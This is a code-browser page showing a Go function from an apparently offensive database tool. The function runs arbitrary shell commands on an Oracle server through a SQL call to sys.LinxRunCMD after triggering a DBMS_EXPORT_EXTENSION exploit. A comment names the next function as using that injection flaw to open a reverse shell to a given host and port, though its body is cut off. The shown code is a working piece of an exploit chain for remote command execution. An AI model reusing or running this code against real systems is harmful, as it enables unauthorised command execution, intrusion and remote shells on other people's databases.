MCPcopy Create free account
hub / github.com/Hel10-Web/Databasetools / OracleExportExtensionCMD

Function OracleExportExtensionCMD

pac/oracle_export_extension.go:65–77  ·  view source on GitHub ↗
(cmd string, conn *sql.DB)

Source from the content-addressed store, hash-verified

63}
64
65func OracleExportExtensionCMD(cmd string, conn *sql.DB) {
66 Info("执行系统命令")
67 OracleExportExtension(conn)
68 resultSet, err := OracleCMD(fmt.Sprintf("select sys.LinxRunCMD('/bin/bash -c /usr/bin/%s') from dual", cmd), conn)
69 for _, m := range resultSet {
70 for _, value := range m {
71 fmt.Println(fmt.Sprintf("%s", value))
72 }
73 }
74 if err != nil {
75 Err(err)
76 }
77}
78
79// 利用DBMS_EXPORT_EXTENSION注入漏洞反弹shell
80func OracleExportExtensionReverse(conn *sql.DB, Lhost string, Lport string) {

Callers 1

HelpFunction · 0.85

Calls 4

InfoFunction · 0.85
OracleExportExtensionFunction · 0.85
OracleCMDFunction · 0.85
ErrFunction · 0.85

Tested by

no test coverage detected